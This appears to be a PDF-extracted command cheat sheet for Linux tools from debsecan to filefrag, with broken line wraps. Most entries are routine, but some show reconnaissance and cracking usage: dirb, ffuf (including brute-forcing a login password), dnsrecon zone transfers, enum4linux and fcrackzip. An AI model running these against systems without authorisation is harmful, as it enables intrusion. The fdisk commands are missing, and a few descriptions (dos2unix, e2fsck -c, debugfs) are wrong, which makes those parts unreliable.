
• Find packages which are only recommended or suggested (but not required) by
another package:

deborphan --nice-mode
debsecan
Debian Security Analyzer, a tool to list vulnerabilities on a particular Debian
installation.

More information: https://gitlab.com/fweimer/debsecan.

• List vulnerable installed packages on the current host:

debsecan

• List vulnerable installed packages of a specific suite:

debsecan --suite {{release_code_name}}

• List only fixed vulnerabilities:

debsecan --suite {{release_code_name}} --only-fixed

• List only fixed vulnerabilities of unstable ("sid") and mail to root:

debsecan --suite {{sid}} --only-fixed --format {{report}} --


mailto {{root}} --update-history

• Upgrade vulnerable installed packages:

sudo apt upgrade $(debsecan --only-fixed --format


{{packages}})
debugfs
An interactive ext2/ext3/ext4 filesystem debugger.

More information: https://manned.org/debugfs.

• Open the filesystem in read only mode:

debugfs {{/dev/sdXN}}

• Open the filesystem in read write mode:

debugfs -w {{/dev/sdXN}}

• Read commands from a specified file, execute them and then exit:

debugfs -f {{path/to/cmd_file}} {{/dev/sdXN}}

• View the filesystem stats in debugfs console:

stats

• Close the filesystem:

close -a

• List all available commands:

lr
debuild
Tool to build a Debian package from source.

More information: https://manpages.debian.org/debuild.

• Build the package in the current directory:

debuild

• Build a binary package only:

debuild -b

• Do not run lintian after building the package:

debuild --no-lintian
deluser
Delete a user from the system.

Note: all commands must be executed as root.

More information: https://manpages.debian.org/latest/adduser/deluser.html.

• Remove a user:

deluser {{username}}

• Remove a user and their home directory:

deluser --remove-home {{username}}

• Remove a user and their home, but backup their files into a .tar.gz file in the
specified directory:

deluser --backup-to {{path/to/backup_directory}} --remove-


home {{username}}

• Remove a user, and all files owned by them:

deluser --remove-all-files {{username}}


dex
DesktopEntry Execution is a program to generate and execute DesktopEntry files of the
Application type.

More information: https://github.com/jceb/dex.

• Execute all programs in the autostart folders:

dex --autostart

• Execute all programs in the specified folders:

dex --autostart --search-paths {{path/to/directory1}}:{{path/


to/directory2}}:{{path/to/directory3}}:

• Preview the programs would be executed in a GNOME specific autostart:

dex --autostart --environment {{GNOME}}

• Preview the programs would be executed in a regular autostart:

dex --autostart --dry-run

• Preview the value of the DesktopEntry property Name:

dex --property {{Name}} {{path/to/file.desktop}}

• Create a DesktopEntry for a program in the current directory:

dex --create {{path/to/file.desktop}}

• Execute a single program (with Terminal=true in the desktop file) in the given
terminal:

dex --term {{terminal}} {{path/to/file.desktop}}


dget
Download Debian packages.

More information: https://manpages.debian.org/dget.

• Download a binary package:

dget {{package_name}}

• Download and extract a package source from its .dsc file:

dget {{http://deb.debian.org/debian/pool/main/h/haskell-tldr/
haskell-tldr_0.4.0-2.dsc}}

• Download a package source tarball from its .dsc file but don't extract it:

dget -d {{http://deb.debian.org/debian/pool/main/h/haskell-
tldr/haskell-tldr_0.4.0-2.dsc}}
diff3
Compare three files line by line.

More information: https://www.gnu.org/software/diffutils/manual/html_node/Invoking-


diff3.html.

• Compare files:

diff3 {{file1}} {{file2}} {{file3}}

• Show all changes, outlining conflicts:

diff3 --show-all {{file1}} {{file2}} {{file3}}


dir
List directory contents using one line per file, special characters are represented by
backslash escape sequences.

Works as ls -C --escape.

More information: https://manned.org/dir.

• List all files, including hidden files:

dir -all

• List files including their author (-l is required):

dir -l --author

• List files excluding those that match a specified blob pattern:

dir --hide={{pattern}}

• List subdirectories recursively:

dir --recursive

• Display help:

dir --help
dirb
Scan HTTP-based webservers for directories and files.

More information: http://dirb.sourceforge.net.

• Scan a webserver using the default wordlist:

dirb {{https://example.org}}

• Scan a webserver using a custom wordlist:

dirb {{https://example.org}} {{path/to/wordlist.txt}}

• Scan a webserver non-recursively:

dirb {{https://example.org}} -r

• Scan a webserver using a specified user-agent and cookie for HTTP-requests:

dirb {{https://example.org}} -a {{user_agent_string}} -c


{{cookie_string}}
disown
Allow sub-processes to live beyond the shell that they are attached to.

See also the jobs command.

More information: https://www.gnu.org/software/bash/manual/bash.html#index-


disown.

• Disown the current job:

disown

• Disown a specific job:

disown %{{job_number}}

• Disown all jobs:

disown -a

• Keep job (do not disown it), but mark it so that no future SIGHUP is received on
shell exit:

disown -h %{{job_number}}
distrobox-create
Create Distrobox containers with an input name and image.

The created container will be tightly integrated with the host, allowing sharing of the
HOME directory of the user, external storage, external usb devices and graphical apps
(X11/Wayland), and audio.

More information: https://distrobox.privatedns.org.

• Create a distrobox using the Alpine image:

distrobox-create {{container_name}} --image alpine

• Clone a distrobox:

distrobox-create --clone {{container_name}}


{{cloned_container_name}}
distrobox-enter
Run a command in a Distrobox container.

Default command executed is your SHELL, but you can specify different shells or entire
commands to execute. If used inside a script, an application, or a service, you can specify
the --headless mode to disable tty and interactivity.

More information: https://distrobox.privatedns.org.

• Enter a distrobox and run sh -l:

distrobox-enter container-name -- sh -l

• Enter a distrobox without instantiating a tty:

distrobox-enter -H container-name -- uptime -p


distrobox-list
List available Distrobox containers. It detects them and lists them separately from the
rest of normal podman or Docker containers.

More information: https://distrobox.privatedns.org.

• List all distrobox containers:

distrobox-list

• List all distrobox containers with verbose information:

distrobox-list -v
distrobox-rm
Delete Distrobox containers.

More information: https://distrobox.privatedns.org.

• Remove a distrobox:

distrobox-rm {{container_name}}

• Remove a distrobox forcefully:

distrobox-rm {{container_name}} --force


dkms
A framework that allows for dynamic building of kernel modules.

More information: https://github.com/dell/dkms.

• List currently installed modules:

dkms status

• Rebuild all modules for the currently running kernel:

dkms autoinstall

• Install version 1.2.1 of the acpi_call module for the currently running kernel:

dkms install -m {{acpi_call}} -v {{1.2.1}}

• Remove version 1.2.1 of the acpi_call module from all kernels:

dkms remove -m {{acpi_call}} -v {{1.2.1}} --all


dmenu
Dynamic menu.

Creates a menu from a text input with each item on a new line.

More information: https://manned.org/dmenu.

• Display a menu of the output of the ls command:

{{ls}} | dmenu

• Display a menu with custom items separated by a new line (\n):

echo -e "{{red}}\n{{green}}\n{{blue}}" | dmenu

• Let the user choose between multiple items and save the selected one to a file:

echo -e "{{red}}\n{{green}}\n{{blue}}" | dmenu >


{{color.txt}}

• Launch dmenu on a specific monitor:

ls | dmenu -m {{1}}

• Display dmenu at the bottom of the screen:

ls | dmenu -b
dmesg
Write the kernel messages to standard output.

More information: https://manned.org/dmesg.

• Show kernel messages:

dmesg

• Show kernel error messages:

dmesg --level err

• Show kernel messages and keep reading new ones, similar to tail -f (available
in kernels 3.5.0 and newer):

dmesg -w

• Show how much physical memory is available on this system:

dmesg | grep -i memory

• Show kernel messages 1 page at a time:

dmesg | less

• Show kernel messages with a timestamp (available in kernels 3.5.0 and newer):

dmesg -T

• Show kernel messages in human-readable form (available in kernels 3.5.0 and


newer):

dmesg -H

• Colorize output (available in kernels 3.5.0 and newer):

dmesg -L
dmidecode
Display the DMI (alternatively known as SMBIOS) table contents in a human-readable
format.

Requires root privileges.

More information: https://manned.org/dmidecode.

• Show all DMI table contents:

sudo dmidecode

• Show the BIOS version:

sudo dmidecode -s bios-version

• Show the system's serial number:

sudo dmidecode -s system-serial-number

• Show BIOS information:

sudo dmidecode -t bios

• Show CPU information:

sudo dmidecode -t processor

• Show memory information:

sudo dmidecode -t memory


dnf
Package management utility for RHEL, Fedora, and CentOS (replaces yum).

More information: https://dnf.readthedocs.io.

• Upgrade installed packages to the newest available versions:

sudo dnf upgrade

• Search packages via keywords:

dnf search {{keywords}}

• Display details about a package:

dnf info {{package}}

• Install a new package:

sudo dnf install {{package}}

• Install a new package and assume yes to all questions:

sudo dnf -y install {{package}}

• Remove a package:

sudo dnf remove {{package}}

• List installed packages:

dnf list --installed

• Find which packages provide a given file:

dnf provides {{file}}


dnsrecon
DNS enumeration tool.

More information: https://github.com/darkoperator/dnsrecon.

• Scan a domain and save the results to a SQLite database:

dnsrecon --domain {{example.com}} --db {{path/to/


database.sqlite}}

• Scan a domain, specifying the nameserver and performing a zone transfer:

dnsrecon --domain {{example.com}} --name_server


{{nameserver.example.com}} --type axfr

• Scan a domain, using a brute-force attack and a dictionary of subdomains and


hostnames:

dnsrecon --domain {{example.com}} --dictionary {{path/to/


dictionary.txt}} --type brt

• Scan a domain, performing a reverse lookup of IP ranges from the SPF record and
saving the results to a JSON file:

dnsrecon --domain {{example.com}} -s --json

• Scan a domain, performing a Google enumeration and saving the results to a CSV
file:

dnsrecon --domain {{example.com}} -g --csv

• Scan a domain, performing DNS cache snooping:

dnsrecon --domain {{example.com}} --type snoop --name_server


{{nameserver.example.com}} --dictionary {{path/to/
dictionary.txt}}

• Scan a domain, performing zone walking:

dnsrecon --domain {{example.com}} --type zonewalk


do-release-upgrade
The Ubuntu release upgrader.

More information: https://ubuntu.com/server/docs/upgrade-introduction.

• Upgrade to the latest release:

sudo do-release-upgrade

• Upgrade to the latest development release:

sudo do-release-upgrade --devel-release

• Upgrade to the latest proposed release:

sudo do-release-upgrade --proposed


dockerd
A persistent process to start and manage docker containers.

More information: https://docs.docker.com/engine/reference/commandline/dockerd/.

• Run docker daemon:

dockerd

• Run docker daemon and config it to listen to specific sockets (UNIX and TCP):

dockerd --host unix://{{path/to/tmp.sock}} --host tcp://


{{ip}}

• Run with specific daemon PID file:

dockerd --pidfile {{path/to/pid_file}}

• Run in debug mode:

dockerd --debug

• Run and set a specific log level:

dockerd --log-level={{debug|info|warn|error|fatal}}
dolphin
KDE file manager.

More information: https://apps.kde.org/dolphin/.

• Launch Dolphin:

dolphin

• Launch Dolphin and display a specific directory:

dolphin {{path/to/directory}}

• Launch Dolphin with a specific file or directory selected:

dolphin --select {{path/to/file_or_directory}}

• Launch Dolphin in a separated window:

dolphin --new-window

• Launch Dolphin in split view:

dolphin --split

• Start the Dolphin daemon (only required to use the DBus interface):

dolphin --daemon

• Display help:

dolphin --help
dos2unix
Change DOS-style line endings to Unix-style.

Replaces CRLF with CR.

More information: https://manned.org/dos2unix.

• Change the line endings of a file:

dos2unix {{filename}}

• Create a copy with Unix-style line endings:

dos2unix -n {{filename}} {{new_filename}}


dphys-swapfile
Manage the swap file on Debian-based Linux systems.

More information: https://manpages.debian.org/latest/dphys-swapfile/dphys-


swapfile.html.

• Disable the swap file:

dphys-swapfile swapoff

• Enable the swap file:

dphys-swapfile swapon

• Create a new swap file:

dphys-swapfile setup
dpkg-deb
Pack, unpack and provide information about Debian archives.

More information: https://manpages.debian.org/latest/dpkg/dpkg-deb.html.

• Display information about a package:

dpkg-deb --info {{path/to/file.deb}}

• Display the package's name and version on one line:

dpkg-deb --show {{path/to/file.deb}}

• List the package's contents:

dpkg-deb --contents {{path/to/file.deb}}

• Extract package's contents into a directory:

dpkg-deb --extract {{path/to/file.deb}} {{path/to/directory}}

• Create a package from a specified directory:

dpkg-deb --build {{path/to/directory}}


dpkg-query
A tool that shows information about installed packages.

More information: https://manpages.debian.org/latest/dpkg/dpkg-query.1.html.

• List all installed packages:

dpkg-query -l

• List installed packages matching a pattern:

dpkg-query -l '{{pattern}}'

• List all files installed by a package:

dpkg-query -L {{package_name}}

• Show information about a package:

dpkg-query -s {{package_name}}
dpkg
Debian package manager.

Some subcommands such as dpkg deb have their own usage documentation.

More information: https://manpages.debian.org/latest/dpkg/dpkg.html.

• Install a package:

dpkg -i {{path/to/file.deb}}

• Remove a package:

dpkg -r {{package_name}}

• List installed packages:

dpkg -l {{pattern}}

• List a package's contents:

dpkg -L {{package_name}}

• List contents of a local package file:

dpkg -c {{path/to/file.deb}}

• Find out which package owns a file:

dpkg -S {{filename}}
dstat
Versatile tool for generating system resource statistics.

More information: http://dag.wieers.com/home-made/dstat.

• Display CPU, disk, net, paging and system statistics:

dstat

• Display statistics every 5 seconds and 4 updates only:

dstat {{5}} {{4}}

• Display CPU and memory statistics only:

dstat --cpu --mem

• List all available dstat plugins:

dstat --list

• Display the process using the most memory and most CPU:

dstat --top-mem --top-cpu

• Display battery percentage and remaining battery time:

dstat --battery --battery-remain


dumpe2fs
Print the super block and blocks group information for ext2/ext3/ext4 filesystems.

Unmount the partition before running this command using umount {{device}}.

More information: https://manned.org/dumpe2fs.

• Display ext2, ext3 and ext4 filesystem information:

dumpe2fs {{/dev/sdXN}}

• Display the blocks which are reserved as bad in the filesystem:

dumpe2fs -b {{/dev/sdXN}}

• Force display filesystem information even with non-recognisable feature flags:

dumpe2fs -f {{/dev/sdXN}}

• Only display the superblock information and not any of the block group descriptor
detail information:

dumpe2fs -h {{/dev/sdXN}}

• Print the detailed group information block numbers in hexadecimal format:

dumpe2fs -x {{/dev/sdXN}}
dunstctl
Control command for dunst.

More information: https://manned.org/dunstctl.

• Pause notifications:

dunstctl set-paused true

• Un-pause notifications:

dunstctl set-paused false

• Close all notifications:

dunstctl close-all

• Display help:

dunstctl --help
dunstify
A notification tool that is an extension of notify-send, but has more features based
around dunst.

Works with all options that work for notify-send.

More information: https://wiki.archlinux.org/title/Dunst#Dunstify.

• Show a notification with a given title and message:

dunstify "{{Title}}" "{{Message}}"

• Show a notification with specified urgency:

dunstify "{{Title}}" "{{Message}}" -u {{low|normal|critical}}

• Specify a message ID (overwrites any previous messages with the same ID):

dunstify "{{Title}}" "{{Message}}" -r {{123}}

• To see other possible options:

notify-send --help
duperemove
Finds duplicate filesystem extents and optionally schedule them for deduplication.

An extent is small part of a file inside the filesystem.

On some filesystems one extent can be referenced multiple times, when parts of the
content of the files are identical.

More information: https://markfasheh.github.io/duperemove/.

• Search for duplicate extents in a directory and show them:

duperemove -r {{path/to/directory}}

• Deduplicate duplicate extents on a Btrfs or XFS (experimental) filesystem:

duperemove -r -d {{path/to/directory}}

• Use a hash file to store extent hashes (less memory usage and can be reused on
subsequent runs):

duperemove -r -d --hashfile={{path/to/hashfile}} {{path/to/


directory}}

• Limit I/O threads (for hashing and dedupe stage) and CPU threads (for duplicate
extent finding stage):

duperemove -r -d --hashfile={{path/to/hashfile}} --io-


threads={{N}} --cpu-threads={{N}} {{path/to/directory}}
e2freefrag
Print the free space fragmentation information for ext2/ext3/ext4 filesystems.

More information: https://manned.org/e2freefrag.

• Check how many free blocks are present as contiguous and aligned free space:

e2freefrag {{/dev/sdXN}}

• Specify chunk size in kilobytes to print how many free chunks are available:

e2freefrag -c {{chunk_size_in_kb}} {{/dev/sdXN}}


e2fsck
Check a Linux ext2/ext3/ext4 filesystem. The filesystem should be unmounted at the
time the command is run.

More information: https://manned.org/e2fsck.

• Check filesystem, reporting any damaged blocks:

e2fsck {{/dev/sdXN}}

• Check filesystem and automatically repair any damaged blocks:

e2fsck -p {{/dev/sdXN}}

• Check filesystem in read only mode:

e2fsck -c {{/dev/sdXN}}
e2image
Save critical ext2/ext3/ext4 filesystem metadata to a file.

More information: https://manned.org/e2image.

• Write metadata located on device to a specific file:

e2image {{/dev/sdXN}} {{path/to/image_file}}

• Print metadata located on device to stdout:

e2image {{/dev/sdXN}} -

• Restore the filesystem metadata back to the device:

e2image -I {{/dev/sdXN}} {{path/to/image_file}}

• Create a large raw sparse file with metadata at proper offsets:

e2image -r {{/dev/sdXN}} {{path/to/image_file}}

• Create a QCOW2 image file instead of a normal or raw image file:

e2image -Q {{/dev/sdXN}} {{path/to/image_file}}


e2label
Change the label on an ext2/ext3/ext4 filesystem.

More information: https://manned.org/e2label.

• Change the volume label on a specific ext partition:

e2label {{/dev/sda1}} "{{label_name}}"


e2undo
Replay undo logs for an ext2/ext3/ext4 filesystem.

This can be used to undo a failed operation by an e2fsprogs program.

More information: https://man7.org/linux/man-pages/man8/e2undo.8.html.

• Display information about a specific undo file:

e2undo -h {{path/to/undo_file}} {{/dev/sdXN}}

• Perform a dry-run and display the candidate blocks for replaying:

e2undo -nv {{path/to/undo_file}} {{/dev/sdXN}}

• Perform an undo operation:

e2undo {{path/to/undo_file}} {{/dev/sdXN}}

• Perform an undo operation and display verbose information:

e2undo -v {{path/to/undo_file}} {{/dev/sdXN}}

• Write the old contents of the block to an undo file before overwriting a file system
block:

e2undo -z {{path/to/file.e2undo}} {{path/to/undo_file}} {{/


dev/sdXN}}
e4defrag
Defragment an ext4 filesystem.

More information: https://manned.org/e4defrag.

• Defragment the filesystem:

e4defrag {{/dev/sdXN}}

• See how fragmented a filesystem is:

e4defrag -c {{/dev/sdXN}}

• Print errors and the fragmentation count before and after each file:

e4defrag -v {{/dev/sdXN}}
ebuild
A low level interface to the Gentoo Portage system.

More information: https://wiki.gentoo.org/wiki/Ebuild.

• Create or update the package manifest:

ebuild {{path/to/file.ebuild}} manifest

• Clean the temporary build directories for the build file:

ebuild {{path/to/file.ebuild}} clean

• Fetch sources if they do not exist:

ebuild {{path/to/file.ebuild}} fetch

• Extract the sources to a temporary build directory:

ebuild {{path/to/file.ebuild}} unpack

• Compile the extracted sources:

ebuild {{path/to/file.ebuild}} compile

• Install the package to a temporary install directory:

ebuild {{path/to/file.ebuild}} install

• Install the temporary files to the live filesystem:

ebuild {{path/to/file.ebuild}} qmerge

• Fetch, unpack, compile, install and qmerge the specified ebuild file:

ebuild {{path/to/file.ebuild}} merge


edit
An alias to a run-mailcap's action edit.

Originally run-mailcap is used to process/edit mime-type/file.

More information: https://www.computerhope.com/unix/uedit.htm.

• Edit action can be used to view any file on default mailcap explorer:

edit {{filename}}

• With run-mailcap:

run-mailcap --action=edit {{filename}}


edquota
Edit quotas for a user or group. By default it operates on all filesystems with quotas.

Quota information is stored permanently in the quota.user and quota.group files


in the root of the filesystem.

More information: https://manned.org/edquota.

• Edit quota of the current user:

edquota --user $(whoami)

• Edit quota of a specific user:

sudo edquota --user {{username}}

• Edit quota for a group:

sudo edquota --group {{group}}

• Restrict operations to a given filesystem (by default edquota operates on all


filesystems with quotas):

sudo edquota --file-system {{filesystem}}

• Edit the default grace period:

sudo edquota -t

• Duplicate a quota to other users:

sudo edquota -p {{reference_user}} {{destination_user1}}


{{destination_user2}}
efibootmgr
Manipulate the UEFI Boot Manager.

More information: https://manned.org/efibootmgr.

• List the current settings / bootnums:

efibootmgr

• List the filepaths:

efibootmgr -v

• Add UEFI Shell v2 as a boot option:

sudo efibootmgr -c -d {{/dev/sda1}} -l


{{\EFI\tools\Shell.efi}} -L "{{UEFI Shell}}"

• Change the current boot order:

sudo efibootmgr -o {{0002,0008,0001,0005}}

• Delete a boot option:

sudo efibootmgr -b {{0008}} --delete-bootnum


ego
Funtoo's official system personality management tool.

More information: https://funtoo-ego.readthedocs.io/en/develop/.

• Synchronize the Portage tree:

ego sync

• Update the bootloader configuration:

ego boot update

• Read a Funtoo wiki page by name:

ego doc {{wiki_page}}

• Print current profile:

ego profile show

• Enable/Disable mix-ins:

ego profile mix-in +{{gnome}} -{{kde-plasma-5}}

• Query Funtoo bugs, related to a specified package:

ego query bug {{package}}


eix
Utilities for searching local Gentoo packages.

Update local package cache using eix-update.

More information: https://wiki.gentoo.org/wiki/Eix.

• Search for a package:

eix {{package_name}}

• Search for installed packages:

eix --installed {{package_name}}

• Search in package descriptions:

eix --description "{{description}}"

• Search by package license:

eix --license {{license}}

• Exclude results from search:

eix --not --license {{license}}


eject
Eject cds, floppy disks and tape drives.

More information: https://manned.org/eject.

• Display the default device:

eject -d

• Eject the default device:

eject

• Eject a specific device (the default order is cd-rom, scsi, floppy and tape):

eject {{/dev/cdrom}}

• Toggle whether a device's tray is open or closed:

eject -T {{/dev/cdrom}}

• Eject a cd drive:

eject -r {{/dev/cdrom}}

• Eject a floppy drive:

eject -f {{/mnt/floppy}}

• Eject a tape drive:

eject -q {{/mnt/tape}}
emerge
Gentoo Linux package manager utility.

More information: https://wiki.gentoo.org/wiki/Portage#emerge.

• Synchronize all packages:

emerge --sync

• Update all packages, including dependencies:

emerge -uDNav @world

• Resume a failed updated, skipping the failing package:

emerge --resume --skipfirst

• Install a new package, with confirmation:

emerge -av {{package_name}}

• Remove a package, with confirmation:

emerge -Cav {{package_name}}

• Remove orphaned packages (that were installed only as dependencies):

emerge -avc

• Search the package database for a keyword:

emerge -S {{keyword}}
enum4linux
Tool for enumerating Windows and Samba information from remote systems.

It attempts to offer similar functionality to enum.exe formerly available from


www.bindview.com.

More information: https://labs.portcullis.co.uk/tools/enum4linux/.

• Try to enumerate using all methods:

enum4linux -a {{remote_host}}

• Enumerate using given login credentials:

enum4linux -u {{user_name}} -p {{password}} {{remote_host}}

• List usernames from a given host:

enum4linux -U {{remote_host}}

• List shares:

enum4linux -S {{remote_host}}

• Get OS information:

enum4linux -o {{remote_host}}
equery
View information about Portage packages.

More information: https://wiki.gentoo.org/wiki/Equery.

• List all installed packages:

equery list '*'

• Search for installed packages in the Portage tree and in overlays:

equery list -po {{package_name}}

• List all packages that depend on a given package:

equery depends {{package_name}}

• List all packages that a given package depends on:

equery depgraph {{package_name}}

• List all files installed by a package:

equery files --tree {{package_name}}


etckeeper
Track system configuration files in Git.

More information: http://etckeeper.branchable.com/.

• Set up a Git repo and perform various setup tasks (run from /etc):

sudo etckeeper init

• Commit all changes in /etc:

sudo etckeeper commit {{message}}

• Run arbitrary Git commands:

sudo etckeeper vcs {{status}}

• Check if there are uncommitted changes (only returns an exit code):

sudo etckeeper unclean

• Destroy existing repo and stop tracking changes:

sudo etckeeper uninit


ethtool
Display and modify Network Interface Controller (NIC) parameters.

More information: http://man7.org/linux/man-pages/man8/ethtool.8.html.

• Display the current settings for an interface:

ethtool {{eth0}}

• Display the driver information for an interface:

ethtool --driver {{eth0}}

• Display all supported features for an interface:

ethtool --show-features {{eth0}}

• Display the network usage statistics for an interface:

ethtool --statistics {{eth0}}

• Blink one or more LEDs on an interface for 10 seconds:

ethtool --identify {{eth0}} {{10}}

• Set the link speed, duplex mode, and parameter auto-negotiation for a given
interface:

ethtool -s {{eth0}} speed {{10|100|1000}} duplex {{half|


full}} autoneg {{on|off}}
exif
Show and change EXIF information in JPEG files.

More information: https://github.com/libexif/exif/.

• Show all recognized EXIF information in an image:

exif {{path/to/image.jpg}}

• Show a table listing known EXIF tags and whether each one exists in an image:

exif --list-tags --no-fixup {{image.jpg}}

• Extract the image thumbnail into the file thumbnail.jpg:

exif --extract-thumbnail --output={{thumbnail.jpg}}


{{image.jpg}}

• Show the raw contents of the "Model" tag in the given image:

exif --ifd={{0}} --tag={{Model}} --machine-readable


{{image.jpg}}

• Change the value of the "Artist" tag to John Smith and save to new.jpg:

exif --output={{new.jpg}} --ifd={{0}} --tag="{{Artist}}" --


set-value="{{John Smith}}" --no-fixup {{image.jpg}}
expect
Script executor that interacts with other programs that require user input.

More information: https://manned.org/expect.

• Execute an expect script from a file:

expect {{path/to/file}}

• Execute a specified expect script:

expect -c "{{commands}}"

• Enter an interactive REPL (use exit or Ctrl + D to exit):

expect -i
extrace
Trace exec() calls.

More information: https://github.com/chneukirchen/extrace.

• Trace all program executions occurring on the system:

sudo extrace

• Run a command and only trace descendants of this command:

sudo extrace {{command}}

• Print the current working directory of each process:

sudo extrace -d

• Resolve the full path of each executable:

sudo extrace -l

• Display the user running each process:

sudo extrace -u
extundelete
Recover deleted files from ext3 or ext4 partitions by parsing the journal.

See also date for Unix time information and umount for unmounting partitions.

More information: http://extundelete.sourceforge.net.

• Restore all deleted files inside partition N on device X:

sudo extundelete {{/dev/sdXN}} --restore-all

• Restore a file from a path relative to root (Do not start the path with /):

extundelete {{/dev/sdXN}} --restore-file {{path/to/file}}

• Restore a directory from a path relative to root (Do not start the path with /):

extundelete {{/dev/sdXN}} --restore-directory {{path/to/


directory}}

• Restore all files deleted after January 1st, 2020 (in Unix time):

extundelete {{/dev/sdXN}} --restore-all --after


{{1577840400}}
eyeD3
Read and manipulate metadata of MP3 files.

More information: https://eyed3.readthedocs.io.

• View information about an MP3 file:

eyeD3 {{filename.mp3}}

• Set the title of an MP3 file:

eyeD3 --title "{{A Title}}" {{filename.mp3}}

• Set the album of all the MP3 files in a directory:

eyeD3 --album "{{Album Name}}" {{*.mp3}}

• Set the front cover art for an MP3 file:

eyeD3 --add-image {{front_cover.jpeg}}:FRONT_COVER:


{{filename.mp3}}
f5fpc
A proprietry commercial SSL VPN client by BIG-IP Edge.

More information: https://techdocs.f5.com/kb/en-us/products/big-ip_apm/manuals/


product/apm-client-configuration-11-4-0/4.html.

• Open a new VPN connection:

sudo f5fpc --start

• Open a new VPN connection to a specific host:

sudo f5fpc --start --host {{host.example.com}}

• Specify a username (user will be prompted for a password):

sudo f5fpc --start --host {{host.example.com}} --username


{{user}}

• Show the current VPN status:

sudo f5fpc --info

• Shutdown the VPN connection:

sudo f5fpc --stop


fail2ban-client
Configure and control fail2ban server.

More information: https://github.com/fail2ban/fail2ban.

• Retrieve current status of the jail service:

fail2ban-client status {{jail}}

• Remove the specified IP from the jail service's ban list:

fail2ban-client set {{jail}} unbanip {{ip}}

• Verify fail2ban server is alive:

fail2ban-client ping
fakeroot
Run a command in an environment faking root privileges for file manipulation.

More information: https://manpages.debian.org/latest/fakeroot/fakeroot.1.html.

• Start the default shell as fakeroot:

fakeroot

• Run a command as fakeroot:

fakeroot -- {{command}} {{command_arguments}}

• Run a command as fakeroot and save the environment to a file on exit:

fakeroot -s {{path/to/file}} -- {{command}}


{{command_arguments}}

• Load a fakeroot environment and run a command as fakeroot:

fakeroot -i {{path/to/file}} -- {{command}}


{{command_arguments}}

• Run a command keeping the real ownership of files instead of pretending they are
owned by root:

fakeroot --unknown-is-real -- {{command}}


{{command_arguments}}

• Display help:

fakeroot --help
faketime
Fake the system time for a given command.

More information: https://manned.org/faketime.

• Fake the time to this evening, before printing the result of date:

faketime '{{today 23:30}}' {{date}}

• Open a new bash shell, which uses yesterday as the current date:

faketime '{{yesterday}}' {{bash}}

• Simulate how a program would act next Friday night:

faketime '{{next Friday 1 am}}' {{path/to/program}}


fallocate
Reserve or deallocate disk space to files.

The utility allocates space without zeroing.

More information: https://manned.org/fallocate.

• Reserve a file taking up 700 MiB of disk space:

fallocate --length {{700M}} {{path/to/file}}

• Shrink an already allocated file by 200 MiB:

fallocate --collapse-range --length {{200M}} {{path/to/file}}

• Shrink 20 MB of space after 100 MiB in a file:

fallocate --collapse-range --offset {{100M}} --length {{20M}}


{{path/to/file}}
fatlabel
Sets or gets the label of a FAT32 partition.

More information: https://manned.org/fatlabel.

• Get the label of a FAT32 partition:

fatlabel {{/dev/sda1}}

• Set the label of a FAT32 partition:

fatlabel {{/dev/sdc3}} "{{new_label}}"


fcrackzip
ZIP archive password cracking utility.

More information: https://manned.org/fcrackzip.

• Brute-force a password with a length of 4 to 8 characters, and contains only


alphanumeric characters (order matters):

fcrackzip --brute-force --length 4-8 --charset aA1


{{archive}}

• Brute-force a password in verbose mode with a length of 3 characters that only


contains lowercase characters, $ and %:

fcrackzip -v --brute-force --length 3 --charset a:$%


{{archive}}

• Brute-force a password that contains only lowercase and special characters:

fcrackzip --brute-force --length 4 --charset a! {{archive}}

• Brute-force a password containing only digits, starting from the password 12345:

fcrackzip --brute-force --length 5 --charset 1 --init-


password 12345 {{archive}}

• Crack a password using a wordlist:

fcrackzip --use-unzip --dictionary --init-password


{{wordlist}} {{archive}}

• Benchmark cracking performance:

fcrackzip --benchmark
fdisk
A program for managing partition tables and partitions on a hard disk.

See also: partprobe.

More information: https://manned.org/fdisk.

• List partitions:

sudo fdisk -l

• Start the partition manipulator:

sudo fdisk {{/dev/sdX}}

• Once partitioning a disk, create a partition:

• Once partitioning a disk, select a partition to delete:

• Once partitioning a disk, view the partition table:

• Once partitioning a disk, write the changes made:

• Once partitioning a disk, discard the changes made:

• Once partitioning a disk, open a help menu:

m
feedreader
A GUI desktop RSS client.

More information: https://jangernert.github.io/FeedReader/.

• Print the count of unread articles:

feedreader --unreadCount

• Add a URL for a feed to follow:

feedreader --addFeed={{feed_url}}

• Grab a specific article using its URL:

feedreader --grabArticle={{article_url}}

• Download all images from a specific article:

feedreader --url={{feed_url}} --grabImages={{article_path}}

• Play media from a URL:

feedreader --playMedia={{article_url}}
ffuf
Subdomain and directory discovery tool.

More information: https://github.com/ffuf/ffuf.

• Discover directories using a [w]ordlist on a target [u]rl with [c]olorized and


[v]erbose output:

ffuf -w {{path/to/wordlist}} -u {{https://target/FUZZ}} -c -v

• Fuzz host-[H]eaders with a host file on a traget website and [m]atch HTTP 200
[c]ode responses:

ffuf -w {{hosts.txt}} -u {{https://example.org}} -H "{{Host:


FUZZ}}" -mc {{200}}

• Discover directories using a [w]ordlist on a target website with a max individual


job time of 60 seconds and recursion discovery depth of 2 levels:

ffuf -w {{path/to/wordlist}} -u {{https://target/FUZZ}} -


maxtime-job {{60}} -recursion -recursion-depth {{2}}

• Fuzz GET parameter on a target website and [f]ilter out message [s]ize response of
4242 bytes:

ffuf -w {{path/to/param_names.txt}} -u {{https://target/


script.php?FUZZ=test_value}} -fs {{4242}}

• Fuzz POST method with POST [d]ata of password on a target website and [f]ilter
out HTTP response [c]ode 401:

ffuf -w {{path/to/postdata.txt}} -X {{POST}} -d


"{{username=admin\&password=FUZZ}}" -u {{https://target/
login.php}} -fc {{401}}

• Discover subdomains using a subdoomain list on a target website:

ffuf -w {{subdomains.txt}} -u {{https://website.com}} -H


"{{Host: FUZZ.website.com}}"
rename
Rename multiple files.

NOTE: this page refers to the command from the rename Debian package.

More information: https://manned.org/file-rename.

• Rename files using a Perl Common Regular Expression (substitute 'foo' with 'bar'
wherever found):

rename {{'s/foo/bar/'}} {{*}}

• Dry-run - display which renames would occur without performing them:

rename -n {{'s/foo/bar/'}} {{*}}

• Force renaming even if the operation would remove existing destination files:

rename -f {{'s/foo/bar/'}} {{*}}

• Convert filenames to lower case (use -f in case-insensitive filesystems to prevent


"already exists" errors):

rename 'y/A-Z/a-z/' {{*}}

• Replace whitespace with underscores:

rename 's/\s+/_/g' {{*}}


filefrag
Report how badly fragmented a particular file might be.

More information: https://manned.org/filefrag.

• Display a report for a specific file:

filefrag {{path/to/file}}

• Display a report for space-separated list of files:

filefrag {{path/to/file1}} {{path/to/file2}}

• Display a report using a 1024 byte blocksize:

filefrag -b {{path/to/file}}

• Sync the file before requesting the mapping:

